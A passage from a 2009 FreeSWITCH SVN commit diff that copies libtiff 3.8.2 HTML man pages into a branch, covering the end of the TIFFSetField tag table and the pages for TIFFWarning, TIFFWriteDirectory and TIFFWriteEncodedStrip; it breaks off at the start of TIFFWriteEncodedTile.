+<p>float*</p>
+</td>
+<td width="16%">
+
+<p>6-entry array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_REFERENCEBLACKWHITE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>float*</p>
+</td>
+<td width="16%">
+
+<p>&dagger; 2*SamplesPerPixel array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_RESOLUTIONUNIT</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_RICHTIFFIPTC</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint32,void*</p>
+</td>
+<td width="16%">
+
+<p>count, data</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_ROWSPERSTRIP</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+
+<p>&dagger; must be &gt; 0</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SAMPLEFORMAT</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SAMPLESPERPIXEL</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger; value must be &lt;= 4</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SMAXSAMPLEVALUE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>double</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SMINSAMPLEVALUE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>double</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SOFTWARE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_STONITS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>double</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SUBFILETYPE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SUBIFD</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint16,uint32*</p>
+</td>
+<td width="16%">
+
+<p>count &amp; offsets array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TARGETPRINTER</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_THRESHHOLDING</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TILEDEPTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TILELENGTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+
+<p>&dagger; must be a multiple of 8</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TILEWIDTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+
+<p>&dagger; must be a multiple of 8</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TRANSFERFUNCTION</p>
+</td>
+<td width="8%">
+
+<p>1 or 3&Dagger; uint16*</p>
+</td>
+<td width="24%"></td>
+<td width="16%">
+
+<p>1&lt;&lt;BitsPerSample entry arrays</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_WHITEPOINT</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>float*</p>
+</td>
+<td width="16%">
+
+<p>2-entry array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_XMLPACKET</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint32,void*</p>
+</td>
+<td width="16%">
+
+<p>count, data</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_XPOSITION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>float</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_XRESOLUTION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>float</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YCBCRCOEFFICIENTS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>float*</p>
+</td>
+<td width="16%">
+
+<p>&dagger; 3-entry array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YCBCRPOSITIONING</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YCBCRSAMPLING</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YPOSITION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>float</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YRESOLUTION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>float</p>
+</td>
+<td width="16%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>&dagger; Tag may not have its values changed once data is
+written.<br>
+&Dagger; If <i>SamplesPerPixel</i> is one, then a single
+array is passed; otherwise three arrays should be
+passed.<br>
+* The contents of this field are quite complex. See <b>The
+ICC Profile Format Specification</b>, Annex B.3
+&quot;Embedding ICC Profiles in TIFF Files&quot; (available
+at http://www.color.org) for an explanation.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>1 is returned if the operation was successful. Otherwise,
+0 is returned if an error was detected.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>%s: Cannot modify tag &quot;%s&quot; while
+writing</b>. Data has already been written to the file, so
+the specified tag&rsquo;s value can not be changed. This
+restriction is applied to all tags that affect the format of
+written data.</p>
+<!-- INDENTATION -->
+<p><b>%d: Bad value for &quot;%s&quot;</b>. An invalid value
+was supplied for the named tag.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF), <b>TIFFGetField</b>(3TIFF),
+<b>TIFFSetDirectory</b>(3TIFF),
+<b>TIFFWriteDirectory</b>(3TIFF),
+<b>TIFFReadDirectory</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWarning.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWarning.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFWarning.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWarning.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWarning.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,108 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFWarning</title>
+</head>
+<body>
+
+<h1 align=center>TIFFWarning</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFWarning, TIFFSetWarningHandler &minus; library
+warning interface</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>void TIFFWarning(const char *</b><i>module</i><b>,
+const char *</b><i>fmt</i><b>,</b> <i>...</i><b>)</b></p>
+<!-- INDENTATION -->
+<p><b>#include &lt;stdargh.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>typedef void (*TIFFWarningHandler)(const char
+*</b><i>module</i><b>, const char *</b><i>fmt</i><b>,
+va_list</b> <i>ap</i><b>);</b></p>
+<!-- INDENTATION -->
+<p><b>TIFFWarningHandler
+TIFFSetWarningHandler(TIFFWarningHandler</b>
+<i>handler</i><b>);</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFWarning</i> invokes the library-wide warning
+handler function to (normally) write a warning message to
+the <b>stderr</b>. The <i>fmt</i> parameter is a
+<i>printf</i>(3S) format string, and any number arguments
+can be supplied. The <i>module</i> parameter is interpreted
+as a string that, if non-zero, should be printed before the
+message; it typically is used to identify the software
+module in which a warning is detected.</p>
+<!-- INDENTATION -->
+<p>Applications that desire to capture control in the event
+of a warning should use <i>TIFFSetWarningHandler</i> to
+override the default warning handler. A <small>NULL</small>
+(0) warning handler function may be installed to suppress
+error messages.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFSetWarningHandler</i> returns a reference to the
+previous error handling function.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFError</b>(3TIFF), <b>libtiff</b>(3TIFF),
+<b>printf</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteDirectory.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteDirectory.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFWriteDirectory.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteDirectory.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteDirectory.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,176 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFWriteDirectory</title>
+</head>
+<body>
+
+<h1 align=center>TIFFWriteDirectory</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFWriteDirectory, TIFFRewriteDirectory,
+TIFFCheckpointDirectory &minus; write the current directory
+in an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFWriteDirectory(TIFF *</b><i>tif</i><b>)<br>
+int TIFFRewriteDirectory(TIFF *</b><i>tif</i><b>)<br>
+int TIFFCheckpointDirectory(TIFF *</b><i>tif</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFWriteDirectory</i> will write the contents of the
+current directory to the file and setup to create a new
+subfile in the same file. Applications only need to call
+<i>TIFFWriteDirectory</i> when writing multiple subfiles to
+a single <small>TIFF</small> file. <i>TIFFWriteDirectory</i>
+is automatically called by <i>TIFFClose</i> and
+<i>TIFFFlush</i> to write a modified directory if the file
+is open for writing.</p>
+<!-- INDENTATION -->
+<p>The <i>TIFFRewriteDirectory</i> function operates
+similarly to <i>TIFFWriteDirectory,</i> but can be called
+with directories previously read or written that already
+have an established location in the file. It will rewrite
+the directory, but instead of place it at it&rsquo;s old
+location (as <i>TIFFWriteDirectory</i> would) it will place
+them at the end of the file, correcting the pointer from the
+preceeding directory or file header to point to it&rsquo;s
+new location. This is particularly important in cases where
+the size of the directory and pointed to data has grown, so
+it won&rsquo;t fit in the space available at the old
+location.</p>
+<!-- INDENTATION -->
+<p>The <i>TIFFCheckpointDirectory</i> writes the current
+state of the tiff directory into the file to make what is
+currently in the file readable. Unlike
+<i>TIFFWriteDirectory, TIFFCheckpointDirectory</i> does not
+free up the directory data structures in memory, so they can
+be updated (as strips/tiles are written) and written again.
+Reading such a partial file you will at worst get a tiff
+read error for the first strip/tile encountered that is
+incomplete, but you will at least get all the valid data in
+the file before that. When the file is complete, just use
+<i>TIFFWriteDirectory</i> as usual to finish it off
+cleanly.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>1 is returned when the contents are successfully written
+to the file. Otherwise, 0 is returned if an error was
+encountered when writing the directory contents.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>Error post-encoding before directory write</b>. Before
+writing the contents of the current directory, any pending
+data are flushed. This message indicates that an error
+occurred while doing this.</p>
+<!-- INDENTATION -->
+<p><b>Error flushing data before directory write</b>. Before
+writing the contents of the current directory, any pending
+data are flushed. This message indicates that an error
+occurred while doing this.</p>
+<!-- INDENTATION -->
+<p><b>Cannot write directory, out of space</b>. There was
+not enough space to allocate a temporary area for the
+directory that was to be written.</p>
+<!-- INDENTATION -->
+<p><b>Error writing directory count</b>. A write error
+occurred when writing the count of fields in the
+directory.</p>
+<!-- INDENTATION -->
+<p><b>Error writing directory contents</b>. A write error
+occurred when writing the directory fields.</p>
+<!-- INDENTATION -->
+<p><b>Error writing directory link</b>. A write error
+occurred when writing the link to the next directory.</p>
+<!-- INDENTATION -->
+<p><b>Error writing data for field &quot;%s&quot;</b>. A
+write error occurred when writing indirect data for the
+specified field.</p>
+<!-- INDENTATION -->
+<p><b>Error writing TIFF header</b>. A write error occurred
+when re-writing header at the front of the file.</p>
+<!-- INDENTATION -->
+<p><b>Error fetching directory count</b>. A read error
+occurred when fetching the directory count field for a
+previous directory. This can occur when setting up a link to
+the directory that is being written.</p>
+<!-- INDENTATION -->
+<p><b>Error fetching directory link</b>. A read error
+occurred when fetching the directory link field for a
+previous directory. This can occur when setting up a link to
+the directory that is being written.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF), <b>TIFFError</b>(3TIFF),
+<b>TIFFReadDirectory</b>(3TIFF),
+<b>TIFFSetDirectory</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteEncodedStrip.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteEncodedStrip.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFWriteEncodedStrip.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteEncodedStrip.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteEncodedStrip.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,153 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFWriteEncodedStrip</title>
+</head>
+<body>
+
+<h1 align=center>TIFFWriteEncodedStrip</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>TIFFWritedEncodedStrip &minus; compress and write a
+strip of data to an open</big> TIFF <big>file</big></p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>#include &lt;tiffio.h&gt;</b></big></p>
+<!-- INDENTATION -->
+<p><big><b>tsize_t TIFFWriteEncodedStrip(TIFF
+*</b><i>tif</i><b>, tstrip_t</b> <i>strip</i><b>,
+tdata_t</b> <i>buf</i><b>, tsize_t</b>
+<i>size</i><b>)</b></big></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>Compress <i>size</i> bytes of raw data from
+<i>buf</i> and write the result to the specified strip;
+replacing any previously written data. Note that the value
+of <i>strip</i> is a &lsquo;&lsquo;raw strip
+number.&rsquo;&rsquo; That is, the caller must take into
+account whether or not the data are organized in separate
+planes (<i>PlanarConfiguration</i>=2).</big></p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>The library writes encoded data using the native
+machine byte order. Correctly implemented</big> TIFF
+<big>readers are expected to do any necessary byte-swapping
+to correctly process image data with BitsPerSample greater
+than 8.</big></p>
+<!-- INDENTATION -->
+<p><big>The strip number must be valid according to the
+current settings of the <i>ImageLength</i> and
+<i>RowsPerStrip</i> tags. An image may be dynamically grown
+by increasing the value of <i>ImageLength</i> prior to each
+call to <i>TIFFWriteEncodedStrip</i>.</big></p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>&minus;1 is returned if an error was encountered.
+Otherwise, the value of <i>size</i> is returned.</big></p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine.</big></p>
+<!-- INDENTATION -->
+<p><big><b>%s: File not open for writing</b>. The file was
+opened for reading, not writing.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Can not write scanlines to a tiled image</b>. The
+image is assumed to be organized in tiles because the
+<i>TileWidth</i> and <i>TileLength</i> tags have been set
+with <i>TIFFSetField</i>(3TIFF).</big></p>
+<!-- INDENTATION -->
+<p><big><b>%s: Must set &quot;ImageWidth&quot; before
+writing data</b>. The image&rsquo;s width has not be set
+before the first write. See <i>TIFFSetField</i>(3TIFF) for
+information on how to do this.</big></p>
+<!-- INDENTATION -->
+<p><big><b>%s: Must set &quot;PlanarConfiguration&quot;
+before writing data</b>. The organization of data has not be
+defined before the first write. See
+<i>TIFFSetField</i>(3TIFF) for information on how to do
+this.</big></p>
+<!-- INDENTATION -->
+<p><big><b>%s: No space for strip arrays&quot;</b>. There
+was not enough space for the arrays that hold strip offsets
+and byte counts.</big></p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFOpen</b>(3TIFF),
+<b>TIFFWriteScanline</b>(3TIFF),
+<b>TIFFWriteRawStrip</b>(3TIFF),
+<b>libtiff</b>(3TIFF)</big></p>
+<!-- INDENTATION -->
+<p><big>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></big></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteEncodedTile.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteEncodedTile.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFWriteEncodedTile.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteEncodedTile.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteEncodedTile.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,147 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFWriteEncodedTile</title>
+</head>
+<body>
+
+<h1 align=center>TIFFWriteEncodedTile</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>TIFFWritedEncodedTile &minus; compress and write a
+tile of data to an open</big> TIFF <big>file</big></p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>#include &lt;tiffio.h&gt;</b></big></p>
+<!-- INDENTATION -->
+<p><big><b>tsize_t TIFFWriteEncodedTile(TIFF
+*</b><i>tif</i><b>, ttile_t</b> <i>tile</i><b>, tdata_t</b>
+<i>buf</i><b>, tsize_t</b> <i>size</i><b>)</b></big></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>Compress <i>size</i> bytes of raw data from
